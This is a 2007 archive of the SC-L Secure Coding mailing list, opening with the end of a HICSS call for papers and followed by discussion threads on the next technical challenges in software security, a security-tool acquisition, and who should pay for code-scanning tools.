All papers submitted to HICSS are independently reviewed in a
double-blind process by three individuals who are selected for their
respective expertise and active involvement in the field of research
for the paper(s) under consideration.

Acceptance rates vary from year to year, but have averaged
approximately 50% during the past few years. There may be lower rates
in mature fields and slightly higher rates when a new area of research
is specifically nurtured in its infancy. After a HICSS conference many
papers are revised or extended and republished in various journals,
transactions and monographs, or may appear as chapters in books. All
accepted papers become part of the Proceedings of the Hawai'i
International Conference on System Sciences that are published and
distributed by the IEEE Computer Society and carried on the IEEE
Digital Library, Xplore.

Each year's papers are published on a CD-Rom distributed at each
conference as part of the conference registration material. Prior to
the conference Minitrack Chairs nominate candidates for a Best Paper
Award (noted in the conference program). Judging for these awards is
conducted by panel of judges in each Track, with winners announced on
the last day of the conference.


INSTRUCTIONS FOR PAPER SUBMISSION

* HICSS papers must contain original material not previously published
  nor currently submitted elsewhere.

* It is recommended that authors contact the Minitrack Chair(s) by email
  for guidance regarding appropriate content.

* HICSS will conduct double-blind reviews of each submitted paper.

* Submit full paper according to detailed author instructions to be
  found on the HICSS web site
  (http://www.hicss.hawaii.edu/hicss_41/cfp_41.htm) by June 15.


IMPORTANT 2007 DATES

Abstracts are required for submission to this Cluster, or its
minitracks. Please submit abstracts to the Cluster chairs by June 1st
at cssis at cert.org. Please contact the Cluster Chairs for further
guidance and indication of appropriate content at any time.

* June 1      
  Authors should submit an abstract of their paper by this date to the
  Cluster Chairs (cssis at cert.org).

* June 15
  Authors submit full papers by this date, following Author Instructions
  found on the HICSS web site. All papers will be submitted in double
  column publication format and limited to 10 pages including diagrams
  and references.  HICSS papers undergo a double-blind review (June15 ?
  August15). Submit full paper according to detailed author instructions
  to be found on the HICSS web site
  (http://www.hicss.hawaii.edu/hicss_41/cfp_41.htm).

* August 15
  Acceptance notices are sent to Authors. At this time, at least one
  author of an accepted paper should begin fiscal and travel
  arrangements to attend the conference to present the paper.

* September 15
  Authors submit Final Version of papers following submission
  instructions posted on the HICSS web site. At least one author of each
  paper should register by this date with specific plans to attend the
  conference.

* October 2
  Papers without at least one registered author will be pulled from the
  publication process; authors will be notified.

* December 1
  Deadline to guarantee your hotel reservation at conference rate.
  Conference rate will be granted after this date, only if rooms are
  available.

* December 15
  There will be no refund for cancellation of registration after this
  date.


CO-CHAIRS OF THE CSSIS CLUSTER

Guido Schryen (RWTH Aachen University)
Jason A. Rafail    (CERT/CC)

Address email to the Cluster Chairs to cssis at cert.org.


CO-CHAIRS OF THE CSAS MINITRACK
Jason A. Rafail (CERT/CC)
Robert C. Seacord (CERT/CC)
Dan Plakosh (CERT/CC)


CO-CHAIRS of the CTERSC Minitrack
Guido Schryen (RWTH Aachen University)
Jose J. Gonzalez (Agder University College)
Eliot H. Rich (University at Albany, State University of New York)

PROGRAM COMMITTEE MEMBERS
Julia Allen SEI, CMU
Yue Chen University of Southern California
Felix Freiling University of Mannheim
Jose J. Gonzalez Agder University College
Fred Long University of Wales, Aberystwyth
Pascal Meunier Purdue University 
David Riley University of Wisconsin - La Crosse
David Spooner Rensselaer Polytechnic Institute
John Steven Cigital
Kenneth Van Wyk KRvW Associates, LLC
Carol Woody CERT, SEI, CMU

-- Robert C. Seacord Senior Vulnerability Analyst CERT/CC Work:
412-268-7608 FAX: 412-268-6989


-- 
Robert C. Seacord
Senior Vulnerability Analyst
CERT/CC 

Work: 412-268-7608
FAX: 412-268-6989


From ken at krvw.com  Mon Jun  4 09:44:39 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 4 Jun 2007 09:44:39 -0400
Subject: [SC-L] Administrivia: Moderator is in, and SC-L BoF in Spain?
Message-ID: <C834E173-1A14-4EF5-A6AF-79E3218D82E1@krvw.com>

SC-Lers,

FYI, back from a few days in the sun.  It was a quiet week in any  
case here on SC-L, but I am indeed back at the moderator's (virtual)  
desk now.

Anyone here attending the FIRST conference in Sevilla, Spain later  
this month?  Any interest in an SC-L BoF session?  I'll be there all  
week and would be happy to meet with any SC-L folks who'll be there.   
Drop me a line and say hi.  First Rioja Crianza and jambon Iberia is  
on me.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070604/278b456a/attachment.bin 

From ken at krvw.com  Tue Jun  5 22:09:58 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 5 Jun 2007 22:09:58 -0400
Subject: [SC-L] Who's To Blame For Insecure Software? Maybe You
Message-ID: <FB0C5575-4D3C-4C88-95C8-6B8151E0724E@krvw.com>

Some interesting (IMHO) stats coming out of Gartner security summit.   
One that jumped off the page at me was that 57% of the attendees  
believe that independent security "research labs" are providing a  
useful and valuable service.  Whether you agree or not, the article  
below is an interesting read.

http://www.informationweek.com/security/showArticle.jhtml? 
articleID=199901402&pgno=1&queryText=

Cheers,

Ken

P.S. I'm surprised to say that I've so far had no takers on my  
question yesterday -- what is the next technology hurdle for us to  
clear?  Perhaps everyone is off enjoying their summer breaks like I  
was last week...
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070605/acd5114f/attachment.bin 

From ken at krvw.com  Wed Jun  6 06:05:26 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Wed, 6 Jun 2007 06:05:26 -0400
Subject: [SC-L] What's the next tech problem to be solved in software
	security?
Message-ID: <F5F13EA6-061A-4E58-9B5C-E23D5AF6434E@krvw.com>

Hi SC-L,

[Hmmm, this didn't make it out to the list as I'd expected, so here's  
a 2nd try. Apologies for any duplicates. KRvW]

At the SC-L BoF sessions held to date (which admittedly is not  
exactly a huge number, but I'm doing my best to see them continue), I  
like to ask those that attend what we can be doing to make SC-L more  
useful and meaningful to the subscribers.  Of course, as with all  
mailing lists, SC-L  will always be what its members make of it.   
However, at one recent SC-L BoF session, it was suggested that I pose  
periodic questions/issues for comment and discussion.  As last week  
was particularly quiet here with my hiatus and all, this seems like a  
good opportunity to give that a go, so...

What do you think is the _next_ technological problem for the  
software security community to solve?  PLEASE, let's NOT go down the  
rat hole of senior management buy-in, use [this language], etc.  (In  
fact, be warned that I will /dev/null any responses in this thread  
that go there.)  So, what technology could/would make life easier for  
a secure software developer?  Better source code analysis?  High(er)  
level languages to help automate design reviews?  Better security  
testing tools?  To any of these, *better* in what ways, specifically?

Any takers?

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070606/f4106b3d/attachment.bin 

From michaelslists at gmail.com  Wed Jun  6 06:35:02 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Wed, 6 Jun 2007 20:35:02 +1000
Subject: [SC-L] What's the next tech problem to be solved in software
	security?
In-Reply-To: <F5F13EA6-061A-4E58-9B5C-E23D5AF6434E@krvw.com>
References: <F5F13EA6-061A-4E58-9B5C-E23D5AF6434E@krvw.com>
Message-ID: <5e01c29a0706060335h1c729358m9c4f8ecbd603a06e@mail.gmail.com>

you've got a few questions there ... i'll answer the first one.

i might copy the suggestion from someone [i can't remember who at the
moment] who suggested the next step in programming in-general is more
parallel programs [in order to increase speed]. this is obviously
complicated and will create new security problems.

but i mean (it hardly needs to be said), we have enough trouble with
the problems we already have.


On 6/6/07, Kenneth Van Wyk <ken at krvw.com> wrote:
> Hi SC-L,
>
> [Hmmm, this didn't make it out to the list as I'd expected, so here's
> a 2nd try. Apologies for any duplicates. KRvW]
>
> At the SC-L BoF sessions held to date (which admittedly is not
> exactly a huge number, but I'm doing my best to see them continue), I
> like to ask those that attend what we can be doing to make SC-L more
> useful and meaningful to the subscribers.  Of course, as with all
> mailing lists, SC-L  will always be what its members make of it.
> However, at one recent SC-L BoF session, it was suggested that I pose
> periodic questions/issues for comment and discussion.  As last week
> was particularly quiet here with my hiatus and all, this seems like a
> good opportunity to give that a go, so...
>
> What do you think is the _next_ technological problem for the
> software security community to solve?  PLEASE, let's NOT go down the
> rat hole of senior management buy-in, use [this language], etc.  (In
> fact, be warned that I will /dev/null any responses in this thread
> that go there.)  So, what technology could/would make life easier for
> a secure software developer?  Better source code analysis?  High(er)
> level languages to help automate design reviews?  Better security
> testing tools?  To any of these, *better* in what ways, specifically?
>
> Any takers?
>
> Cheers,
>
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
>


-- 
mike
68 65 6c 6c 6f 20 74 6f 20 79 6f 75 2c
20 68 65 78 20 64 65 63 6f 64 65 72 2e

From wietse at porcupine.org  Wed Jun  6 10:01:48 2007
From: wietse at porcupine.org (Wietse Venema)
Date: Wed, 6 Jun 2007 10:01:48 -0400 (EDT)
Subject: [SC-L] What's the next tech problem to be solved in software
	security?
In-Reply-To: <F5F13EA6-061A-4E58-9B5C-E23D5AF6434E@krvw.com> "from Kenneth Van
	Wyk at Jun 6, 2007 06:05:26 am"
Message-ID: <20070606140148.C78DB1F3E96@spike.porcupine.org>

Kenneth Van Wyk:
> What do you think is the _next_ technological problem for the  
> software security community to solve?  PLEASE, let's NOT go down the  
> rat hole of senior management buy-in, use [this language], etc.  (In  
> fact, be warned that I will /dev/null any responses in this thread  
> that go there.)  So, what technology could/would make life easier for  
> a secure software developer?  Better source code analysis?  High(er)  
> level languages to help automate design reviews?  Better security  
> testing tools?  To any of these, *better* in what ways, specifically?

I've often said that programming should be a million times more
difficult, so that fewer people will be able to write code.

However, that is not the direction where things evolve. Instead,
more and more people, with less and less experience, will be
"programming" computer systems.

The challenge is to provide environments that allow less experienced
people to "program" computer systems without introducing gaping
holes or other unexpected behavior.

An example is the popular PHP language. Writing code is comparatively
easy, but writing secure code is comparatively hard. I'm working on
the second part, but I don't expect miracles.

The solution is likely to be a completely different programming
model. The spreadsheet is approaching its 30th birthday. That
is too long ago.

	Wietse

From ken at krvw.com  Wed Jun  6 10:21:48 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Wed, 6 Jun 2007 10:21:48 -0400
Subject: [SC-L] IBM to catch Watchfire security technology | Tech News on
	ZDNet
Message-ID: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com>

FYI, yet another acquisition in the security world...  This time it's  
IBM buying up Watchfire (makers of AppScan).

http://news.zdnet.com/2100-1009_22-6188999.html? 
part=rss&tag=feed&subj=zdnet

Kind of reminds me of something Chef Jacques Pepin said in an  
interview with Terry Gross on NPR's "Fresh Air" some time back  
(IIRC).  He said when he was growing up, leftover food never went to  
waste.  They always took yesterday's leftovers and made something  
completely new with it the next day -- NEVER simply re-heating it to  
serve the same thing again, which always ends up being bland.  By the  
time the "last" of the real food was gone, nobody remembered what the  
original recipe even was.  That kept them interested in the food even  
as it went through several transformations.

Not sure why this comes to mind now...  ;-\

Cheers,

Ken
-----
Kenneth R. van Wyk
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070606/ec06c0f6/attachment.bin 

From mshines at purdue.edu  Wed Jun  6 10:25:04 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Wed, 6 Jun 2007 10:25:04 -0400
Subject: [SC-L] FW: What's the next tech problem to be solved in
	softwaresecurity?
Message-ID: <003801c7a846$7a1b3910$4ea7d280@central.purdue.lcl>

Product integration - why have an editor, separate source code analizer,
separate 'lint' product, compiler, linker, object code analyzer, Fuzz
testing tools, etc...    apart from marketing and revenue stream - it
doesn't help the developer any.

Who tests the products that test the code?

Mike H.
-----------------------------
Michael S Hines
mshines at purdue.edu




From mshines at purdue.edu  Wed Jun  6 10:30:34 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Wed, 6 Jun 2007 10:30:34 -0400
Subject: [SC-L] What's the next tech problem to be solved in
	softwaresecurity?
In-Reply-To: <20070606140148.C78DB1F3E96@spike.porcupine.org>
References: <F5F13EA6-061A-4E58-9B5C-E23D5AF6434E@krvw.com> "from Kenneth
	VanWyk at Jun 6,
	2007 06:05:26 am" <20070606140148.C78DB1F3E96@spike.porcupine.org>
Message-ID: <004301c7a847$3e9476d0$4ea7d280@central.purdue.lcl>

Distributed/parallel computing on multi-core processors.  We already have
dual-core with quad-core on the near horizon.  How will we develop software
to use this new computing technology.  In addition to code working properly,
you now have the added complexity of code running over itself - the timing
and synchronization issues.

It's not new - cluster computing has been around for a while and parallel
computing has been around for a while - but it hasn't been in desktop level
machines until recently - which brings the issues of parallel computing to a
whole new and large arena of developers and users.

We're going to have difficulty getting it to work right, let alone securely.


Mike H.


-----------------------------
Michael S Hines
mshines at purdue.edu



From James.McGovern at thehartford.com  Wed Jun  6 11:21:18 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 6 Jun 2007 11:21:18 -0400
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>

I really hope that this email doesn't generate a ton of offline emails and hope that folks will talk publicly. It has been my latest thinking that the value of tools in this space are not really targeted at developers but should be targeted at executives who care about overall quality and security folks who care about risk. While developers are the ones to remediate, the accountability for secure coding resides elsewhere.

It would seem to be that tools that developers plug into their IDE should be free since the value proposition should reside elsewhere. Many of these tools provide "audit" functionality and allow enterprises to gain a view into their portfolio that they previously had zero clue about and this is where the value should reside.

If there is even an iota of agreement, wouldn't it be in the best interest of folks here to get vendors to ignore developer specific licensing and instead focus on enterprise concerns?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From michaelslists at gmail.com  Wed Jun  6 18:59:37 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Thu, 7 Jun 2007 08:59:37 +1000
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>
References: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com>
	<773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>
Message-ID: <5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>

On 6/7/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com> wrote:
> I really hope that this email doesn't generate a ton of offline emails and hope that folks will
> talk publicly. It has been my latest thinking that the value of tools in this space are not really
> targeted at developers but should be targeted at executives who care about overall quality
> and security folks who care about risk. While developers are the ones to remediate, the
> accountability for secure coding resides elsewhere.

and that's the problem. the accountability for insecure coding should
reside with the developers. it's their fault [mostly].



> It would seem to be that tools that developers plug into their IDE should be free since the
> value proposition should reside elsewhere. Many of these tools provide "audit" functionality
> and allow enterprises to gain a view into their portfolio that they previously had zero clue
> about and this is where the value should reside.
>
> If there is even an iota of agreement, wouldn't it be in the best interest of folks here to get
> vendors to ignore developer specific licensing and instead focus on enterprise concerns?
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
mike
68 65 6c 6c 6f 20 74 6f 20 79 6f 75 2c
20 68 65 78 20 64 65 63 6f 64 65 72 2e

From coley at linus.mitre.org  Thu Jun  7 01:36:20 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 7 Jun 2007 01:36:20 -0400 (EDT)
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>
References: <235ACFD8-214B-4EF0-9EAD-FD429B19E763@krvw.com>
	<773F863A6009244B87E6E866AFC7DB4603999BAA@AD1HFDEXC309.ad1.prod>
	<5e01c29a0706061559y432c0a2gbb524c97210b7b7e@mail.gmail.com>
Message-ID: <Pine.GSO.4.51.0706070124570.17121@faron.mitre.org>


On Thu, 7 Jun 2007, Michael Silk wrote:

> and that's the problem. the accountability for insecure coding should
> reside with the developers. it's their fault [mostly].

The customers have most of the power, but the security community has
collectively failed to educate customers on how to ask for more secure
software.  There are pockets of success, but a whole lot more could be
done.

>From a developer-focused perspective, we need to deal with (1)  ensuring
that developers KNOW how to produce secure code (or interpret tool
results), but then (2) actually produce the secure code within given
deadlines.  I know that (2) is a common topic on this list, but deadlines
won't change until customers force the issue, which currently requires
weaning them from featuritis, which has such low prospects of success that
it's starting to depress me, so I'll stop and we've talked about this
before anyway.

> > It would seem to be that tools that developers plug into their IDE
> > should be free since the value proposition should reside elsewhere.

I personally love this sentiment, but that's not how the current market is
working, and I'm not sure how it would shift to that point.  There might
be lessons from the anti-virus community's long history (nowadays mostly
covering the same stuff usin a subscription model, but they still compete
on speed more than quality of information to the end user).  I don't know
what the vuln scanning tool indusry is up to these days (Nessus, Retina,
etc.) but I do know that management-friendly reporting was the bane of
that technology's existence for years.

- Steve

From jgrembi at gmail.com  Thu Jun  7 00:42:45 2007
From: jgrembi at gmail.com (Jason Grembi)
Date: Thu, 7 Jun 2007 00:42:45 -0400
Subject: [SC-L] SC-L Digest, Vol 3, Issue 102
In-Reply-To: <mailman.545.1181143578.2253.sc-l@securecoding.org>
References: <mailman.545.1181143578.2253.sc-l@securecoding.org>
Message-ID: <930b20350706062142g449ddfdev15d9029aa95c4270@mail.gmail.com>

Hi Ken, welcome back from your sunny vacation.  I wanted to reply to your
'invitation' on my thoughts for the next big thing:

 One technological problem I have with secure programming is testing.  I
cannot seem to stay on top of the latest methods of attacks and yet ask for
more billable time whenever a new one pops-up.  For example, I thought my
application was safe from XSS until I ran into JavaScript Hijacking after
the testing phase (thanks Brian Chess).  It seems like our testing abilities
are still up to the sophistication of the human element.

I would like to see a push for more compliance testing from tools that will
scan code (including jar files) for the latest attacks and certify that
baseline.  That way, I can take a lot of my dependence from the human
element and use more automation to drive my testing techniques. The current
generation of security tools doesn't give me the warm and fuzzies yet.

Jason Grembi
Web Developer


On 6/6/07, sc-l-request at securecoding.org <sc-l-request at securecoding.org>
wrote:
>
> Send SC-L mailing list submissions to
>         sc-l at securecoding.org
>
> To subscribe or unsubscribe via the World Wide Web, visit
>         http://krvw.com/mailman/listinfo/sc-l
> or, via email, send a message with subject or body 'help' to
>         sc-l-request at securecoding.org
>
> You can reach the person managing the list at
>         sc-l-owner at securecoding.org
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of SC-L digest..."
>
>
> Today's Topics:
>
>    1. Who's To Blame For Insecure Software? Maybe You (Kenneth Van Wyk)
>    2. What's the next tech problem to be solved in software
>       security? (Kenneth Van Wyk)
>    3. Re: What's the next tech problem to be solved in software
>       security? (Michael Silk)
>    4. Re: What's the next tech problem to be solved in software
>       security? (Wietse Venema)
>    5. IBM to catch Watchfire security technology | Tech News on
>       ZDNet (Kenneth Van Wyk)
>    6. FW: What's the next tech problem to be solved in
>       softwaresecurity? (Michael S Hines)
>    7. Re: What's the next tech problem to be solved in
>       softwaresecurity? (Michael S Hines)
>
>
> ----------------------------------------------------------------------
>
> Message: 1
> Date: Tue, 5 Jun 2007 22:09:58 -0400
> From: Kenneth Van Wyk <ken at krvw.com>
> Subject: [SC-L] Who's To Blame For Insecure Software? Maybe You
> To: Secure Coding <SC-L at securecoding.org>
> Message-ID: <FB0C5575-4D3C-4C88-95C8-6B8151E0724E at krvw.com>
> Content-Type: text/plain; charset="us-ascii"
>
> Some interesting (IMHO) stats coming out of Gartner security summit.
> One that jumped off the page at me was that 57% of the attendees
> believe that independent security "research labs" are providing a
> useful and valuable service.  Whether you agree or not, the article
> below is an interesting read.
>
> http://www.informationweek.com/security/showArticle.jhtml?
> articleID=199901402&pgno=1&queryText=
>
> Cheers,
>
> Ken
>
> P.S. I'm surprised to say that I've so far had no takers on my
> question yesterday -- what is the next technology hurdle for us to
> clear?  Perhaps everyone is off enjoying their summer breaks like I
> was last week...
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
>
> -------------- next part --------------
> A non-text attachment was scrubbed...
> Name: smime.p7s
> Type: application/pkcs7-signature
> Size: 2454 bytes
> Desc: not available
> Url :
> http://krvw.com/pipermail/sc-l/attachments/20070605/acd5114f/attachment-0001.bin
>
> ------------------------------
>
> Message: 2
> Date: Wed, 6 Jun 2007 06:05:26 -0400
> From: Kenneth Van Wyk <ken at krvw.com>
> Subject: [SC-L] What's the next tech problem to be solved in software
>         security?
> To: Secure Coding <SC-L at securecoding.org>
> Message-ID: <F5F13EA6-061A-4E58-9B5C-E23D5AF6434E at krvw.com>
> Content-Type: text/plain; charset="us-ascii"
>
> Hi SC-L,
>
> [Hmmm, this didn't make it out to the list as I'd expected, so here's
> a 2nd try. Apologies for any duplicates. KRvW]
>
> At the SC-L BoF sessions held to date (which admittedly is not
> exactly a huge number, but I'm doing my best to see them continue), I
> like to ask those that attend what we can be doing to make SC-L more
> useful and meaningful to the subscribers.  Of course, as with all
> mailing lists, SC-L  will always be what its members make of it.
> However, at one recent SC-L BoF session, it was suggested that I pose
> periodic questions/issues for comment and discussion.  As last week
> was particularly quiet here with my hiatus and all, this seems like a
> good opportunity to give that a go, so...
>
> What do you think is the _next_ technological problem for the
> software security community to solve?  PLEASE, let's NOT go down the
> rat hole of senior management buy-in, use [this language], etc.  (In
> fact, be warned that I will /dev/null any responses in this thread
> that go there.)  So, what technology could/would make life easier for
> a secure software developer?  Better source code analysis?  High(er)
> level languages to help automate design reviews?  Better security
> testing tools?  To any of these, *better* in what ways, specifically?
>
> Any takers?
>
> Cheers,
>
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
>
> -------------- next part --------------
> A non-text attachment was scrubbed...
> Name: smime.p7s
> Type: application/pkcs7-signature
> Size: 2454 bytes
> Desc: not available
> Url :
> http://krvw.com/pipermail/sc-l/attachments/20070606/f4106b3d/attachment-0001.bin
>
> ------------------------------
>
> Message: 3
> Date: Wed, 6 Jun 2007 20:35:02 +1000
> From: "Michael Silk" <michaelslists at gmail.com>
> Subject: Re: [SC-L] What's the next tech problem to be solved in
>         software        security?
> To: "Kenneth Van Wyk" <ken at krvw.com>
> Cc: Secure Coding <SC-L at securecoding.org>
> Message-ID:
>         <5e01c29a0706060335h1c729358m9c4f8ecbd603a06e at mail.gmail.com>
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>
> you've got a few questions there ... i'll answer the first one.
>
> i might copy the suggestion from someone [i can't remember who at the
> moment] who suggested the next step in programming in-general is more
> parallel programs [in order to increase speed]. this is obviously
> complicated and will create new security problems.
>
> but i mean (it hardly needs to be said), we have enough trouble with
> the problems we already have.
>
>
> On 6/6/07, Kenneth Van Wyk <ken at krvw.com> wrote:
> > Hi SC-L,
> >
> > [Hmmm, this didn't make it out to the list as I'd expected, so here's
> > a 2nd try. Apologies for any duplicates. KRvW]
> >
> > At the SC-L BoF sessions held to date (which admittedly is not
> > exactly a huge number, but I'm doing my best to see them continue), I
> > like to ask those that attend what we can be doing to make SC-L more
> > useful and meaningful to the subscribers.  Of course, as with all
> > mailing lists, SC-L  will always be what its members make of it.
> > However, at one recent SC-L BoF session, it was suggested that I pose
> > periodic questions/issues for comment and discussion.  As last week
> > was particularly quiet here with my hiatus and all, this seems like a
> > good opportunity to give that a go, so...
> >
> > What do you think is the _next_ technological problem for the
> > software security community to solve?  PLEASE, let's NOT go down the
> > rat hole of senior management buy-in, use [this language], etc.  (In
> > fact, be warned that I will /dev/null any responses in this thread
> > that go there.)  So, what technology could/would make life easier for
> > a secure software developer?  Better source code analysis?  High(er)
> > level languages to help automate design reviews?  Better security
> > testing tools?  To any of these, *better* in what ways, specifically?
> >
> > Any takers?
> >
> > Cheers,
> >
> > Ken
> > -----
> > Kenneth R. van Wyk
> > SC-L Moderator
> > KRvW Associates, LLC
> > http://www.KRvW.com
> >
> >
> > _______________________________________________
> > Secure Coding mailing list (SC-L) SC-L at securecoding.org
> > List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> > List charter available at - http://www.securecoding.org/list/charter.php
> > SC-L is hosted and moderated by KRvW Associates, LLC (
> http://www.KRvW.com)
> > as a free, non-commercial service to the software security community.
> > _______________________________________________
> >
> >
> >
>
>
> --
> mike
> 68 65 6c 6c 6f 20 74 6f 20 79 6f 75 2c
> 20 68 65 78 20 64 65 63 6f 64 65 72 2e
>
>
> ------------------------------
>
> Message: 4
> Date: Wed, 6 Jun 2007 10:01:48 -0400 (EDT)
> From: wietse at porcupine.org (Wietse Venema)
> Subject: Re: [SC-L] What's the next tech problem to be solved in
>         software        security?
> To: Secure Coding <SC-L at securecoding.org>
> Message-ID: <20070606140148.C78DB1F3E96 at spike.porcupine.org>
> Content-Type: text/plain; charset=US-ASCII
>
> Kenneth Van Wyk:
> > What do you think is the _next_ technological problem for the
> > software security community to solve?  PLEASE, let's NOT go down the
> > rat hole of senior management buy-in, use [this language], etc.  (In
> > fact, be warned that I will /dev/null any responses in this thread
> > that go there.)  So, what technology could/would make life easier for
> > a secure software developer?  Better source code analysis?  High(er)
> > level languages to help automate design reviews?  Better security
> > testing tools?  To any of these, *better* in what ways, specifically?
>
> I've often said that programming should be a million times more
> difficult, so that fewer people will be able to write code.
>
> However, that is not the direction where things evolve. Instead,
> more and more people, with less and less experience, will be
> "programming" computer systems.
>
> The challenge is to provide environments that allow less experienced
> people to "program" computer systems without introducing gaping
> holes or other unexpected behavior.
>
> An example is the popular PHP language. Writing code is comparatively
> easy, but writing secure code is comparatively hard. I'm working on
> the second part, but I don't expect miracles.
>
> The solution is likely to be a completely different programming
> model. The spreadsheet is approaching its 30th birthday. That
> is too long ago.
>
>         Wietse
>
>
> ------------------------------
>
> Message: 5
> Date: Wed, 6 Jun 2007 10:21:48 -0400
> From: Kenneth Van Wyk <ken at krvw.com>
> Subject: [SC-L] IBM to catch Watchfire security technology | Tech News
>         on      ZDNet
> To: Secure Coding <SC-L at securecoding.org>
> Message-ID: <235ACFD8-214B-4EF0-9EAD-FD429B19E763 at krvw.com>
> Content-Type: text/plain; charset="us-ascii"
>
> FYI, yet another acquisition in the security world...  This time it's
> IBM buying up Watchfire (makers of AppScan).
>
> http://news.zdnet.com/2100-1009_22-6188999.html?
> part=rss&tag=feed&subj=zdnet
>
> Kind of reminds me of something Chef Jacques Pepin said in an
> interview with Terry Gross on NPR's "Fresh Air" some time back
> (IIRC).  He said when he was growing up, leftover food never went to
> waste.  They always took yesterday's leftovers and made something
> completely new with it the next day -- NEVER simply re-heating it to
> serve the same thing again, which always ends up being bland.  By the
> time the "last" of the real food was gone, nobody remembered what the
> original recipe even was.  That kept them interested in the food even
> as it went through several transformations.
>
> Not sure why this comes to mind now...  ;-\
>
> Cheers,
>
> Ken
> -----
> Kenneth R. van Wyk
> KRvW Associates, LLC
> http://www.KRvW.com
>
>
>
>
> -------------- next part --------------
> A non-text attachment was scrubbed...
> Name: smime.p7s
> Type: application/pkcs7-signature
> Size: 2454 bytes
> Desc: not available
> Url :
> http://krvw.com/pipermail/sc-l/attachments/20070606/ec06c0f6/attachment-0001.bin
>
> ------------------------------
>
> Message: 6
> Date: Wed, 6 Jun 2007 10:25:04 -0400
> From: "Michael S Hines" <mshines at purdue.edu>
> Subject: [SC-L] FW: What's the next tech problem to be solved in
>         softwaresecurity?
> To: <SC-L at securecoding.org>
> Message-ID: <003801c7a846$7a1b3910$4ea7d280 at central.purdue.lcl>
>
> Product integration - why have an editor, separate source code analizer,
> separate 'lint' product, compiler, linker, object code analyzer, Fuzz
> testing tools, etc...    apart from marketing and revenue stream - it
> doesn't help the developer any.
>
> Who tests the products that test the code?
>
> Mike H.
> -----------------------------
> Michael S Hines
> mshines at purdue.edu
>
>
>
>
>
> ------------------------------
>
> Message: 7
> Date: Wed, 6 Jun 2007 10:30:34 -0400
> From: "Michael S Hines" <mshines at purdue.edu>
> Subject: Re: [SC-L] What's the next tech problem to be solved in
>         softwaresecurity?
> To: "'Secure Coding'" <SC-L at securecoding.org>
> Message-ID: <004301c7a847$3e9476d0$4ea7d280 at central.purdue.lcl>
>
> Distributed/parallel computing on multi-core processors.  We already have
> dual-core with quad-core on the near horizon.  How will we develop
> software
